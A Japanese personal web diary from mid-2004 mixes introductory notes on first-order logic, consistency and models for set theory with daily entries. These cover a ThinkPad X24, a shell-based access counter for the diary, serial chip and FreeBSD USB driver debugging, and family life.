さらに次の条件が満たされるとき、 ${\cal~A}~$ は ${\cal~B}~$ への初等的部分構造(elementary submodel)と呼ばれ ${\cal~A}\,\prec\,{\cal~B}~$ と記述されます。
任意の ${\cal~L}~$ の論理式 φ に対して a を A の列とするとき、 ${\cal~A}|=\phi[a]~\,\,{\rm~if~and~only~if}\,\,~{\cal~B}|=\phi[a]~$
公理を固定したモデルにに関しても例えば「モデルの同型・順同型」等、同様な記述を行います。ここでモデル理論の基本的な定理や、モデルの順極限、超巾等の概念に関しても説明する要するのですが、そもそも今回のモデル等に関する記述は、今後用語を統一するためであるのと、自分自身の認識や記述のあいまいさを極力減らそうというのが目的なので、それらの議論は今後必要性が生じた段階で言及します。
次回以降の予定に関しては色々悩んだのですが、実数の構造等に対する内容の豊富さに比して案外分かりやすい(ほんとか？)、さらに将来 forcing に関して言及する場合の練習にもなる、ということを考えて Martin の公理の話を書こうと考えていますが、その前に半順序・フィルターに関する知識は必須ということで、それらに関する話題に言及し時間かせぎをしたいと考えています(^^。

2004年7月8日(木)

X24 リカバリー CD 注文
X24 を買ってから一時間後には消してしまった Windows XP ですが、ちょいと必要がありてカバリー CD を注文したのです。消してしまったとはいえライセンス自体は消滅していないはずですが、そもそもそんなもん存在するのかいな～、という不安もあり調べたのですが、こちらのページによりますと確かに販売されているそうで、IBM に電話をかけたところお値段は 4,200円で自宅に注文書のフォームを送るので、それに必要事項を記入して送り返して下さい、とのことでした。まあ X24 自体デフォルトで CD-ROM がついていないので、ハードディスクにインストールイメージを入れて販売すること自体は悪くないと思うのですが、ハードディスクなんて消耗品なので、買ったときにリカバリー CD 一枚位つけてくれてもよいのではと思うのですが...。

2004年7月7日(水)

日記のカウンター設置
~~ねたのために~~アクセス状況を正確に把握するため、この日記にもアクセスカウンターを設置することにしました。一番下の方に余り目立たないように表示されているのがそうでして、カウントする条件は次の通りです。
(a) 同じアドレスからのアクセスは１日１カウントとする
(b) User-Agent が opera,MSIE,w3m,Gecko を含むもの
(c) 日記をアクセスしたもの
(d) (b) の条件を満たさない場合カウンター自体が表示されない。これはアンテナで年中浮き上がるのを防ぐため(^^;。
(a) の条件ですが、一日に数回遊びにきて下さるありがたい方も何人かいらっしゃるので、全部の回数をカウントするとちょっと増えすぎるのです。次に (b) の条件ですが、こちらは検索エンジン、アンテナ類をカウントしないための条件です。まあ、ほとんどが検索はずれ(たまに当たるが...)なのですが、こんなのでも一日に何人お客様が来て下さったかの大体の目安になるとは思います。肝心の実装ですが(汗)、
```
cat /var/log/httpd-access.log |
egrep -i 'opera|MSIE|w3m|Gecko' |
egrep 'all\.html|all\.cgi|20[0-9][0-9][0-9][0-9]\.html|newdiary\.html' |
awk '{print $1}' | sort -u | wc -l
```
というアクセスごとにその日の httpd-access.log を全部見にゆくという、非常に効率が悪い方法なのですが、そんなにアクセスが多いわけでないので大丈夫でしょう(^^。さらに夜中の 3時に一瞬 httpd を停止して httpd-access.log を日付フォーマットのファイルにしてバックアップするので、そのタイミングで日毎のアクセスサマリーファイルを作成し、それの合計を上記の出力と加算するのです。本当はデーターベースを作ってきちんと管理すれば良いのでしょうが、さすがにこれだけのためにデーターベースを作成するのも面倒だし、さらに運用する気力もなかったりするので、とっても手抜きなテキストファイルによる管理方法になったのでした。
余談ですが、大勢に影響がないので大てぬきしまして、httpd-access.log を読んでいる部分を見ると egrep -i 'opera|MSIE|w3m|Gecko' なる行があります。ユーザーエージェントを解析しているなど大嘘でして、単にログ一行全体にこれらの文字列があるか見ているだけだったりします。さらには次の行の egrep もとんでもない手抜きなのですが、こちらも (a),(c) の条件を考えれば大勢に影響がないかと(^^。

2004年7月6日(火)

80G ハードディスクの誘惑
仕事と遊びの両方で大活躍の X24 ですが、現在搭載しているのはデフォルトの 40G ハードディスクなのです。で、今のところ特に容量が不足している訳ではないのですが(と言いますか大量に余ってる^^)、
```
/dev/ad0s1a    257998  109044   128316    46%    /
/dev/ad0s1f  27296348 9411790 15700852    37%    /usr
/dev/ad0s1e    257998   54808   182552    23%    /var
```
種々の理由によりもう少し容量が大きければな～、と思う今日この頃なのです。その理由は、
- 今はかなり意識して節約しているのでもっと思い切って使いたい。特に BSD や Linux の色々なバージョンのカーネルを扱うので、 global でリファレンスを作成して調査することが多いが、これが多大なディスク容量を要求する。また kernel のソース自体も色々なバージョンを置きたいので、こちらの容量も無視出来ない。
- Windows とデュアルブートにしたい(^^。理由はこちら。Windows の領域は 15G 位あれば十分。
- インストール等の実験を考えると、現行のハードディスクを予備として保存したい。
あたりなのですが、価格を調べるとずいぶん安くなったもので、大体 20,000 円位で購入できるようです。ただし最近はイベント出費が多いのでちょっとこれ以上の出費はまずいか。どうしよう...(^^。
＃ところで高さ 9.5mm と書いてあるのは X24 に入るのだろうか？

2004年7月5日(月)

こんどね
特に外国の本に多いと思うのですが、各章の始めに、その章の内容を暗示する「偉人の御言葉」とか「詩や文学からの引用」が書いてあることがあります。最近はコンピューターにあまり興味がなくなって(「計算理論」に対しては多大なる興味があるのですが「計算機理論(そもそも理論なんて存在しないが)」に対する興味が...) 、そちら関連の本は全然読まなくなってしまったのですが、昔読んだ BSD かなんかの実装の本に「リアルタイム」に関連する章がありまして、その章の始めに書いてあった御言葉がなかなか面白く、
今欲しいの～(キャサリン４歳)
というもので、これはなかなかリアルタイム性の本質をついているな～、と感心した記憶があるのです。もちろんこの４歳のお嬢さんは著者の愛娘さまだと思うのですが(キャサリンという名前は今思いついたので原著とは違うと思います)、おそらく著者と娘さんの間にこんな会話があったと想像されるのです。

娘これが欲しい

父こんどね

娘今欲しいの～

「こんどね」というのは子供が最も嫌う言葉の一つであるのは間違いないのですが、親の方が子供に「もう齒磨いた～」とか聞いたときに「さっき～」と答えに対して、時間に関する明確な保証がないということで、いまいち信憑性に欠けると思うのと同様な心理なのだと思います。ちなみに次の会話などは日常茶飯事なのですが、

顧客まだ出来ないのですか

私すみませんあと２週間ほどお時間頂きたいと...(汗)

最後の言葉を「こんどね」と言えればとってもとっても幸せでしょうな(^^。

2004年7月4日(日)

第七官界彷徨チケットげっと
浩子さんの「空間読書の会第一回公演」の公演予定は、

8月7日(土)一回目開場15:30/開演16:00

8月7日(土)二回目開場19:30/開演20:00
8月8日(日) 開場16:00/開演17:00

なのですが、ファンクラブ優先予約は上記の一回のみ可能でして、予約出来ていたのは日曜日だけ。幸い土曜日の二回目は人様にお願いしてありがたくも譲って頂けることになったので、本日 10:00 から土曜日一回目の一般購入に挑戦です。で、2年程前に会員登録をしてあったイープラスで購入しようとして念には念をいれて IE/Windows でアクセスしたのですが、なんと
クレジットカードが期限切れです(-_-)
ということで購入出来ません。仕方がないので、大急ぎで(期限がのびた)クレジットカードを再登録したのですが、すぐには反映されないらしく全くらちがあかないのです。さらにクレジット支払いをやめて銀行振り込みにしたりしたのですが、こちらも反映されません。しかもイープラスのサーバーはあまり性能が良くないらしく、せっかく打ち込んでボタンを押しても接続を拒絶されたり、「しばらくお待ち下さい」メニューが出ることも多いのです。むむむっこれはまずい、ということで大急ぎでチケットぴあの方に切替えてアクセスしたところ、こちらは住所やカード番号を入力する必要はあったものの、会員になる必要もなく、さらにはそこそこ良さそうな座席のチケットをすんなり確保出来たのです。うーむこれは最初からぴあで予約した方が良かったかも知れませんな。ブラウザを二つ上げて両方同時に、ということも考えたのではありますが、さすがにそれは面倒なので行わなかったのであります。
というわけで、三回とも行くことになりましたので、よろしくお願い致します(^^。
一階述語論理を含む言語～続き
[集合論雑記目次]
前回(昨日)一階述語論理を含む言語に関して大急ぎで定義しましたが、本日はその内容に関していくつかコメント致します。まず「言語」の部分ですが、今後一階述語論理の記号と生成規則、公理、推論規則、関数記号、述語記号を含む体系とします。さらに言語を記述する場合には、一階述語論理の記号と変数に関する部分は省略してしまう場合が多いのです。例えば言語 ${\cal~L}~$ を記述するとき、
${\cal~L}~=~~~((\phi_0,\,\phi_1,...),\,(f_0,\,f_1,...),\,,(c_0,\,c_1,...))~$
など厳密さを要求している割には案外いいかげんな書き方をして申し訳けないのですが、、ここで c₀,c₁... は言語の定数を意味し、 φ₀,φ₁... は述語記号、 f₀,f₁... は関数記号を表します。さらに例えば集合論の言語はもっと省略して、 ${\cal~L}~=~(=,\,\in)~$ もし 0,ω を定数とする流儀であるなら ${\cal~L}~=~((=,\,\in),\,(0,\omega))~$ 等の記述もありえます。実をいいますとこの記述は厳密に行わないと、言語 ${\cal~L}~$ をコード化して集合論の内部で扱おうとするときにまずいのですが、当面気にしないこととします(このあたりはあまり知らないのでいいかげんなのです)。さらに上で使用した「集合的」な記述は、実は直観的な集合であり、集合論における対象、すなわち集合とは異なります。今は集合論の土台となる部分を記述しているので、このような「直観的」な記述は避けられません。これらの定義に現われる自然数も、順序数として定義した集合論の自然数とは異なり、通常の直観的な自然数を使用しているのです。
それでは言語のことはちょっと忘れて、肝心の一階述語論理の部分に関していくつかコメントします。
[一階述語論理に関するコメント]
まず今回論理記号として ∨ ¬ ∀ ( ) を採用しましたが、もちろん∧ ∃ → 等を追加しても良いし、∨ の替わりに ∧ もしくは →、∀ の替わりに ∃ を採用しても良いのです。ただしそうすると公理が増えるのと、将来論理式の記号の数に関する帰納法(これは頻繁に使用されます)を行うときに少々面倒が増える、ということで今回は記号の個数は最小限としました。またここでは証明しませんが昨日の公理と推論法則により、一階述語論理の真である論理式はすべて証明出来ることが知られています。
[シェーマに関するコメント]
例えば集合論で生成される「論理式」は昨日の定義により、例えば、
x₂∈x₃
∃x₇(∀x₉(¬ (x₇∈x₉)))
のように、論理記号と変数により、論理式生成規則に即して構成された有限列からなるものだけなのです。一階述語論理の公理 (a) は例えば具体的に
x₂∈x₃ → (∃x₇(∀x₉(¬ (x₇∈x₉)) → x₂∈x₃)
が公理であることを示しているのであり、これは P,Q を置換する論理式(これは直観的に可算無限個存在する)に対して、おのおのが公理であることを主張しているのであり、無限の公理を一つの型(シェーマ)として表現しているのです。さて集合論の公理における「内包の公理」と「置換公理」をもう一度見直すと、「任意の論理式」という概念が含まれていて、これは(場合によってはある条件を満たす)無限個の論理式に言及した公理のシェーマなのであります。したがって今まで記述した集合論(と正則の公理) 即ち ZFC 公理系は実際には無限個の公理をもちます。
[仮定法・背理法・存在記号の解釈に関するコメント]
理論(言語と公理)の一時的な拡張は頻繁に行われます。それに関していくつかの超数学的な定理を述べます。
[仮定法の原理]
M を言語 ${\cal~L}~$ における公理の集まりとして φ を論理式とします。
M∪{φ} |- ψ のとき M |- (φ → ψ)

[背理法の原理]
M を言語 ${\cal~L}~$ における公理の集まりとして φ を論理式とします。
M∪{¬φ} が矛盾するとき M |- φ
存在記号 ∃ に関しては少々話が面倒です。たとえば ∃x(φ(x)) が証明されたとします。この場合良く使われる証明方法としては、
&phi(a) が成立する a を固定する。しからば...
というのが普通であると思います。ところがこの a は存在することは直観的には分かるのですが、具体的にどのような対象(項)を表すのかはっきりしません。ちょっと考えると一つの集合から要素を「抽出する」ことにさえ「選択公理」が必要な気分になってしまいます。ところがこれにはうまい逃げ道があるのでして、
[存在記号の解釈]
M を言語 ${\cal~L}~$ における公理の集まりとして M |- ∃x(φ) であるとします。このとき言語 ${\cal~L}~$ に含まれない定数記号を a として ${\cal~L}~$ に a を追加した言語 ${\cal~L^'}~$ を考えてさらに ${\cal~L^'}~$ で公理系 M∪{&phi(a)} を考えます。ここで ψ を a を含まない論理式とすると、 ${\cal~L^'}~$ で M∪{&phi(a)} |- ψ ならば ${\cal~L}~$ で $M~|-~\psi~$
という超数学的な定理が成立するのです。一時的に言語や理論を拡張することにより、存在すると証明された「対象」を一時的に記述することが許されるのです。同様な超数学的な考察により、例えば集合論における {x|φ(x)} の使用や ℵ₃ の使用を根拠づけることが可能です。

2004年7月3日(土)

一階述語論理を含む言語
[集合論雑記目次]
現代数学を記述する基礎としてほとんどの場合集合論が用いられるのですが、「集合論」自身を記述する場合に通常使用する論理体系を「一階述語論理」と言います。ここでは一階述語論理(first order logic)を含む言語(language) について簡単に記述します。たいくつといえばたいくつなのですが、この辺りの定式化(formulation)をきちんとしておかないと、今後集合論における種々の公理の無矛盾性や独立性、それに関連してモデル等を考える場合に意味が不明確になってしまうのです。余談ですが一般向けの書物で「モデル」の直観的説明を読んだことが何回かありますが、どうもあいまいというかなんというか、いまいち意味が分かりませんでした。数学の概念はある程度慣れると「形式的」な記述の方が分かりやすい、という面が多々あると思います。
本日書く内容だけでは(特に知らない人にとっては)全く意味不明と思われますが、次回にその直観的な意味と具体例を記述することにします。
一階述語論理を含む言語は次の要素からなります。
論理記号
変数
定数
関数記号
述語記号
項と論理式の生成規則
(推論法則)
(述語論理の公理)

論理記号は一階述語論理の基礎となる記号群で、ここでは「または」「否定」「すべて」「括弧」を表す記号群を導入します。実は「代入」の規則も書く必要があり、見掛けより難しいのですが、後述の束縛変数に注意して「常識的」に行うということで、今回は省略します(書くときっと間違えそうなので)。
[論理記号]
次の記号五つの記号を論理記号と言います。

∨ ¬ ∀ ( )
→ や ∃ を論理記号とする流儀もありますが(そちらの方が主流？)ここでは採用しません。
[変数]
変数は x₀, x₁ ,..., x_n,...(n は自然数) なる記号に(建前上は)固定します。ただし毎回添字記号を使用するのは繁雑なので実際上は x,y,z 等の記号を(変数の任意の一つを表すという意味で)使用します。要するに「必要なときに新しい変数を調達出来る」ということが大切なのです。
[定数]
言語に定数を導入することが可能です、定数の記法は固定しませんが、例えば集合論を構築する場合 0,ω を最初から定数としてとりこむ流儀もあります。もちろんこの方式を採用する場合、これらの定数を意味付けする公理が必要となります。例えば 0 の場合空集合の公理、ω の場合無限公理を対応させます。
[関数記号]
関数記号を導入することが可能です。おのおのの関数記号には(関数のパラメタの個数を表現する)1 以上の自然数が対応します。対応する自然数が n の場合 n 変数の関数記号と呼びます。引数が 0 個の関数を定数と考える流儀もありますがここでは採用しません。
[述語記号]
述語記号を導入することが可能です。おのおのの述語記号には(述語のパラメタの個数を表現する)自然数が対応します。対応する自然数が n の場合 n 変数の述語記号と呼びます。集合論は 2変数の述語記号 = と ∈ をもつ言語を土台とします。ただし = は述語論理の体系内に含ませてしまう場合も多いようです。
ここまで述べたものは形式的な定義であり、おのおのの概念の意味付けはまだされていません。意味付けには「項・論理式」の生成規則、推論法則、述語論理の公理が必要です。
[項の生成規則]
(a) 変数は項である
(b) 定数は項である
(c) f を n 変数の関数記号とし t₀,t₁,...,t_n-1 を項とするとき f(t₀,...,t_n-1) は項である
(d) 以上が項のすべてである
[論理式の生成規則]
(a) φ を n 変数の述語記号、 t₀,t₁,...,t_n-1 を項とするとき φ(t₀,...,t_n-1) は論理式である
(b) P と Q を論理式とするとき (P)∨(Q) も論理式である
(c) P を論理式とするとき ¬(P) も論理式である
(d) P を論理式 x を変数とするとき ∀x(P) も論理式である
(e) 以上が論理式のすべてである
論理式 P に現れても現われなくても、変数 x を強調する場合 P を P(x) と記述する場合があります。同様に P(x,y),P(x,y,z) 等々記述する場合もあります。上述の構成において、論理式 P が構成されたとき、その途中に (d) の構成規則があり、その結果が ∀x(Q(x)) の形の論理式の場合 x を束縛変数と言います。束縛されていない変数を自由変数と呼びます。自由変数を含まない論理式を「閉論理式」または「文(sentense)」と呼びます。
ここで特に重要な省略記号を列挙します。これらの省略記号は原理的には必要がないものなのですが、実際上使用できないと非常に不便です。ただし省略記号自体は「論理記号ではない」ことには留意する必要があります。
(a) (P)→(Q) は (¬(P))∨(Q) の略記とします。
(b) (P)∧(Q) は ¬((¬P)∨(¬Q)) の略記とします。
(c) ∃x(P) は ¬(∀x(¬(P))) の略記とします。
言語の濫用で優先順位が明らかな場合括弧を省略する場合があります。また (∀x)(P) のように余分な括弧をつける場合もあります。
[述語論理の公理]
公理とは論理式の集まりです。言語とその言語が許す論理式からなる公理を考えたものを「理論」 と称します。これから記述する(述語論理の)公理群は、今後常に理論に含まれているものとします。次の論理式の「形」を「述語論理の公理のシェーマ」と呼びます。最初「シェーマ」というのは案外分かりにくい(私は全然分からなかった) のですが、この意味に関しては次回記述します(＊注＊実は集合論の「内包の公理」と「置換公理」は無限個の公理の形を表すシェーマです。集合論の公理が無限個あることが、超数学的な議論を難しくする場合もあります。また「超数学」という言葉の意味についても次回書く予定です)。
P,Q,R を論理式、x を変数、t を項、X を x を含まない論理式とするとき、
(a) P → (Q → P)
(b) (P → (Q → R)) → ((P → Q) → (P → R))
(c) (¬Q → ¬P) → (P → Q)
(d) ∀x(P(x)) → P(t)
(e) ∀x(X → P(x)) → (X → ∀x(P(x)))
今回の言語では → を省略記号ということにしたので、例えば (a) はうるさく言えば(正式には) ((¬(P)) ∨ ((¬(Q))∨(P)) なのであります。
[推論規則]
推論規則は「言語」において「公理」から「定理」と称する論理式を生成する規則です。「定理」となる論理式を「証明可能な論理式」とも言います。
(a) 公理は定理である
(b) P と (P → Q) が定理ならば Q も定理
(c) x を変数とし P が定理のとき ∀x(P) も定理
(d) 以上が定理のすべてである
公理の集まり(今後公理系と呼ぶ) M から論理式 φ が証明出来る(証明可能)であることを、
$M~\vdash~\phi~$
と記述します。ある論理式 φ が存在し、
$M~\vdash~\phi,~M~\vdash~\neg\phi~$
がともに成立するとき M は矛盾すると言います。このとき簡単な推論により任意の論理式 φ に対して、
$M~\vdash~\phi~$
であることが分かります。矛盾する理論からは任意の論理式が証明され、この事実は矛盾する理論がそれ単独では無意味であることを意味します(ただし理論に補助的な公理を追加し無理矢理矛盾をおこさせ、その公理の否定をもとの理論の定理とするという推論方法、すなわち背理法を考えるとある意味有用なのかも知れません)。M∪{φ},M∪{¬φ} がともに矛盾しないとき、 φ は M と独立であると言います。
述語論理の公理と推論規則は「前原昭二著～数学基礎論入門」からの引用です。最初に書いたようにこれだけではほとんど意味不明ですので、直観的な意味等は次回記述します。ただし、特に述語論理の公理から導かれる定理群をいちいち記述すると長くなりしかも退屈、ということでこれらに関する数学的もしくは超数学的な扱いは結果のみ最小限にとどめます。

2004年7月2日(金)

体調復活
先週あたりからいまいち体調が悪く、二回も会社を休んでしまいましたが、昨日から今日にかけてやっと調子が良くなってきました。というかおとといは熱が高くて昼間中寝てて夜眠れなくなり、昨日は徹夜(昼間寝てたからほんとの意味の徹夜ではないと思うのですが...)して出勤して、おうちに帰って 22 時頃寝てしまったのです。そんなことで久々に沢山寝たのも良かったのだと思うのですが、やはり睡眠時間というのは大切で、それなりの時間を確保しないといけないなと再認識したのであります。

2004年7月1日(木)

続・モカちゃん朝顔
先日の朝顔ねたの時は何人かの方から綺麗に花を咲かせるための育て方を教えて頂きました。どうもありがとうございます。で、実を言いますと今回の朝顔栽培に関しては目的が二つありまして、一つはもちろん普通に朝顔を育てつつ観察して綺麗な花を咲かせるということでして、左の写真を見ると前回よりちょっとだけ育っているかな～、という感じです。

ここまでは常識的な発想だと思うのですが、北半球と南半球でつるの巻く向きが違うらしい(ほんと？)、という話を聞いてモカちゃんが考え出した二つ目の目標は...、
ひっくり返して育てたらつるは右巻きになるのか左巻になるのか(^^;
ということでして、それが右の写真のようななんとも可哀想というか、もしかして朝顔を愛好する方にはとっても不愉快な状況なのかも知れません。もしそうでしたら誠に申し訳けないのですが、これも姫の好奇心から生まれた実験ということで、ひらにひらにご容赦のほどお願い致します。

2004年6月30日(水)

続・今日もかぜ
今日は昨日より熱が上がってしまいお休み。昨日休んだ方がよかったかも...。
猫森集会 2004 FC 先行予約
「静かでいいな～谷山浩子１５の世界」が届いた。
それと明日からこちらで猫森先行予約受け付けだそうな。

2004年6月29日(火)

今日もかぜ
朝とても具合が悪く、熱を計ったら 37度8分(^^;。いやはや気候のせいかどうか分かりませんが、最近ちょっと体調が不安定ですな。まあそんなに会社を休む訳にもいかないので、二時間遅れで出社なのですが、頭が働かず全然仕事になりません。

2004年6月28日(月)

LUMIX DMC-FZ2 購入
こいつは頭がおかしくなったのでは、と思ってる方も沢山おられそうなのですが、もちろん DMC-FZ1 より新しいのが欲しくなったわけではなく、実をいいますと FZ1 はいつも私が持ち歩いているので、奥様用にも一つ必要ということなのです。もちろん通常はおんなじのを二つ買うなどということはないのですが、会社の近くの電気屋さんで、
処分大放出価格 25,800円
というお値段で売っているのを奥様に報告したところ、「このカメラはとても良いので、その値段なら私も欲しい」ということで購入を決定したのであります。ちなみに現在使用している DMC-FZ1 は購入したときが 45,000円位で、さらにバージョンアップキットが 6,000円と 5万円ちょっと投資したはずなので丁度半値ということになります。
余談ですがこの電気屋さんは確かにお値段は安いのですが、店員さんの教育やシステムの管理等がいまひとつでして、本日もレジにバーコードを通したら、 29,000円なんていう値段が出てびっくりしたのです。もちろん「値札には 25,800円と書いてありました」ということで確認訂正してもらったのですが、会社の近くで便利ではあるのですが、なにかとトラブルが多いのが欠点なのであります。
＃電池三つ(前回一つ余分に買ってある)を二つのカメラで使い回せるのも
＃得点が高かったりします。
モカちゃん朝顔
モカちゃんが種をまいた朝顔が大分育ってきました。お花はいつ頃咲くのだろう。

2004年6月27日(日)

電波時計購入
４ヵ月ほど前に鳴かなくなってしまった鳩時計ですが、完全に壊れてしまったらしく数日前から針も動かなくなってしまったのです。というわけでないとなにかと不便なので、新しいのを買ったのですが、もうちっちゃい子供もいないということで、写真のように面白くもなんともないのを購入なのです。

そうはいうものの、こんな時計でもとりえがあるものでして、お値段が 2,000 円となかなか安いことと、それからなんと電波時計機能付きだったりするのです(^^。こういうのは初めてで知らなかったのですが、最初に電池をいれると針がくるくる～んと回って勝手に正確な時刻に合うのです。数時間動かして電話の時報と比べても見た目上は全然狂わないようです。いやはやそれにしてもいくら色気がないとはいえ、どうしてこんなのを 2,000円で売ることが出来るのか、とってもとっても不思議なのです。
余談ですが、こういうのを見ると電波腕時計も欲しくなってくるのですが、安いのはとってもぶ厚くてかっこ悪いし腕にはめていると疲れそうなのです。こちらに関しては 5 万円以上出さないとまともなものは買えそうになく、もちろんそんなにお金があるわけなく、あえなく断念したのであります(^^。

2004年6月26日(土)

扇風機購入
ことしも大分暑くなってきましたが、実をいいますとここ数年おうちのクーラーの調子が良くないのです。もうちょっと温度を下げたいな～、と思って一段階目盛を下げると冷えすぎるし、それではともとに戻すと今度は暑くなったりして、ちょこちょこリモコンを「手動操作」しないと丁度良い温度にはならない、という極めて不快かつ電気代がもったいない状況なのです。もちろん新しいのに買い替えるということも考えたのですが、まあ予算もそんなにあるわけでもなく、電気代節約も兼ねて居間用と私が PC で遊んだりする部屋(この部屋にもみんないるけど^^)用に扇風機を二台購入したのです。

で、実際に使ってみると、これが 20年位前のイメージと比べるととっても良いのですねー。
- 昔のより音が静かである。
- 風量が 1/f ゆらぎという感じで変化するモードがあって特に寝ながら使うとき冷えすぎない。
- おうちに帰ってきたときやお風呂上がりは冷却効果が大きい。
- 風の効果が薄れてくる→汗をかく→冷却効果があがる→汗がかわく。という循環により人体サーモスターが有効に働く。
という感じで、おそらく本当の猛暑状態になった場合、我慢できなくなってクーラーも併用することになると思うのですが、蒸し暑くてクーラーを使いたいけど、ちょっともったいないという状態にはなかなか良いのもだと再認識したのであります。

2004年6月25日(金)

オークションにはまる
というわけで二女のアニメ関連グッズ落札のため、仕方なくなく Yahoo プレミアム会員(月額 300円)になったはずなのですが、予想通りというかなんというか私も一つ落札しちゃったのです(^^。落札物は浩子さんの最初のアルバム(リンク先の一番下) なのですが、今は絶版らしく、レアー物ということで 4,000円以上の価格をつけている出展者が多いなか、 3,000円というのが目に止まりまして、ふらふら～とボタンを...(^^。まあこののアルバムは前から欲しかったので、丁度良かったともいえるのですが、オークションで「谷山浩子」なんて検索すると誘惑光線がとっても強く、今後気を付けなければいけませんな(^^。

2004年6月24日(木)

お笑いシリアルチップ
ちょいと仕事がらみで、某 4チャネルシリアルチップの石が Linux で動作するか確かめていまして、デバイスファイルを作成し、setserial で設定した後 I/O ポートをたたくとそれなりの反応があるのですが、実際に通信をしようとすると、
文字が化け化けで割り込みも入りません(-_-)
うーむ 4チャネルは独立に動作するはずでして、さらにおのおのはシリアルチップのスタンダードである 16550A 互換で、しかも良く分からないのですが、 一瞬ちゃんと動いたというとってもとっても不思議な現象なのです(^^。というわけで、とっても面倒なレジスタのマニュアルを参照して、自前でテストドライバープログラムを書きはじめたのですが、しばらくして
ボーレート生成分周レジスタの設定
をしなくてはいけないのに気がついたのです。そういえば外部からのクロックはどんな値が供給されているのだろうな～、ということで作った人に聞いたところ、なんと通常(BSD や Linux の普通のドライバーの参照値言う意味で)の二倍だったりしたのです(^^。いやはやこれでは文字化けするのも当然でして、例えば 9600bps で通信の場合 stty </dev/なんたら 4800 なんてしたらうまくいったのです。まあこんなことで一日悩んでしまったのですが、最初に供給クロックの値を確認しなかったのはとってとってももうかつだったのでした。
＃もちろん偶然一度動作した時は、設定を間違えていたのでありました(^^。

2004年6月23日(水)

お休み
熱出て死んでます(^^;。

2004年6月22日(火)

無矛盾と実在
最近人様から貸して頂いた科学史の本を読んでいまして(難しいです...)、その本の主題とはあんまり関係ないのですが、やはり物理とかの方面の考え方というのは「実在主義・実証主義」といいますか、たとえばある理論からなんらかの存在もしくは非存在が導かれる場合、それを否定する実験結果が得られると、その理論には問題があるということになるらしいのです。もちろんこんなことは誰でも知っているあたりまえのことで、なんの疑問もない事実と一般には考えられていますが、私自身の考え方はちょっと異なるということは以前にも書きまして、一言で言えば理論として整合性がありさらに美しいものであれば、見掛け上の「現実」は無視して良いのではないかということなのです。
逆にいわゆる自然科学の方面の方々が、理論と実験の矛盾に関して極めて敏感であるのにかかわらず、「理論内の矛盾」に関してあまり深刻な問題と考えていない、もしくは深刻と考えてはいるがそれはそれでなんとかやっている、というのもなかなか面白いと思うのです。例えば「一般相対性理論」と「量子論」は矛盾するそうですが、それにより物理学の研究が破綻しているという話も聞きません。ただし「矛盾」の解消に関する研究が物理学を発展させる大きな力になるのは事実で、色々な統一理論の研究に対する大いなる動機の一つになっていることは間違いがないようです。
そんなことを考えているうちに、数学における矛盾もしくは無矛盾の認識に関してちょっと考察したいと思ったのが本日の主題なのですが、まず良く知られているとは思うのですが、数学で矛盾が生じるということを簡単に記述します。理論 T が矛盾するとは、
T においてある論理式 φ が存在し φ と ¬φ が両方証明可能である
ということです。さらにこの場合簡単な論理規則により、
T のすべての論理式 φ に対し φ が証明可能である(したがって ¬φ も証明可能)
という「T ではなんでも証明可能」という非劇的な事態に陥ることが分かるのです。このような事情から数学においては「理論が矛盾する」ということが、他の学問に比して致命的な問題点とされるのですが、それでは「矛盾しなければ理論として正しいのか」という疑問が生じるのももっともでして、これに関してはヒルベルトによる非常に楽観的な思想があるのです。すなわち、
理論が矛盾しなければその理論を成立させる「実体」が存在する
この「実体」このとを通常「モデル」と称しまして、ちょっと考えるといくらなんでもそんな都合の良いことはないであろうと私などは思ってしまうのですが、実際には「ゲーデルの完全性定理」により上記事実は肯定的に証明されたのであります。逆に「モデルが存在すれば無矛盾」という事実は容易に分かるので、少なくとも数学の理論においては無矛盾性とその実体(モデル) の存在は同等であるという結論が成立するのです。もちろん現実には体系が美しくない理論はそれ自体興味がわかず、研究の対象とはならないのですが、数学において理論としての存在価値の本質の一つが「無矛盾性」にあることは、特筆すべきことがらであると思います。ただしこのあたりが残念と言うか面白いと言うか、良く知られているように「数論の無矛盾性の証明は数論の体系内では不可能である」ということも証明されています(ゲーデルの不完全性定理)。ただしこの事実を楽観的に考えれば、「数学には無限の解釈と拡張が約束されている」ということも言えるわけで、矛盾もしくは無矛盾性に関する未知の分野が学問を推進させるの原動力の一つになっていることは、物理学も数学も同じなのかも知れません。

2004年6月21日(月)

FreeBSD USB シリアルドライバーの謎
AH-K3001V を X24/FreeBSD に繋いで PPP 接続を行ってしばらくすると X24 が落ちる問題で、それらしきところを色々いじったのですが、落ちるのを若干遅延させるだけで(さらに落ちる部分を通過すると通信不能)、全く根本的な改善にはならない様なのです。ところで本日とあるボードのシリアルポートと IO DATA USB-RSAQ2 繋いで仕事していたのですが、なんと cu とかで端末をオープンしている状態で「シリアル側」の線を抜くとやはり落ちたりしました(^^。うーむ、この条件で落ちることがあるのは以前経験して分かっていたのですが、いまだに問題を抱えていたのですねー。これはなかなか根が深そうです。のんびりデバッグするしかありませんな。
＃softupdate のおかげでハングしてもファイルシステムが大丈夫
＃そうなのが救いだったりします(^^。

2004年6月20日(日)

プレゼントをもらう
全然知らなかったのですが、今日は父の日ということらしく、モカちゃんに素敵なお財布をもらったのです。とってもとってもうれしいのです(^^。
A&B 割引登録
実は最初は知らなかったのですが、AirH" 使い放題プランで、別途 IIJmio DSL/DF サービスを使用していると、 AirH" の方が１割５分割り引きになるそうで、月額 700 円ちょっと支払が減るのです。IIJmio の DSL/DF サービスというのは ADSL 回線(こちらは Flets ADSL) をデータリンクとする IP を中継するだけのサービスで、良くあるメールアドレスのサービスとか、Web ページ置き場のサービスとかはないかわりに、月額 1,400円と IIJ にしてはお値段が安いというのが特徴なのでして、最初はいくらなんでも月々 1,400円の支払で、AirH" 側とはいえ 700 円以上割り引きとは話がうますぎると思ったのですが、どうやら本当に割引になるそうで、ちょいと得した気分なのです(^^。

2004年6月19日(土)

au 解約
本日は au の解約なのです。こちらは DoCoMo と違い営業書の場所を知っているので持ち込み解約です。年間割引を使っているので、高いお金を取られるのかと思ったら 1,000円だけですみました(^^。「電話機をどうしますか」という質問があったのですが、今後モカちゃんのおもちゃ(沢山入ってて壁紙にもなってる自分の写真は全部削除したそうな(^^)になるのことが決まっているので、こちらはお持ち帰りです。余談ですがモカ姫の話によると、クラスの半分くらいの子がケータイを持っているそうでして、しかも鬼ごっことかしているときに、持っている同士で連絡を取りあう反則をしたりするそうな。いやはやよほどの事情がない限り、小学生に携帯を持たせる親のことを考えると、あんまりしつけが良くないのは理解出来るのですが、モカちゃんはとってもとっても怒っているのであります。

2004年6月18日(金)

@FreeD 解約手続き
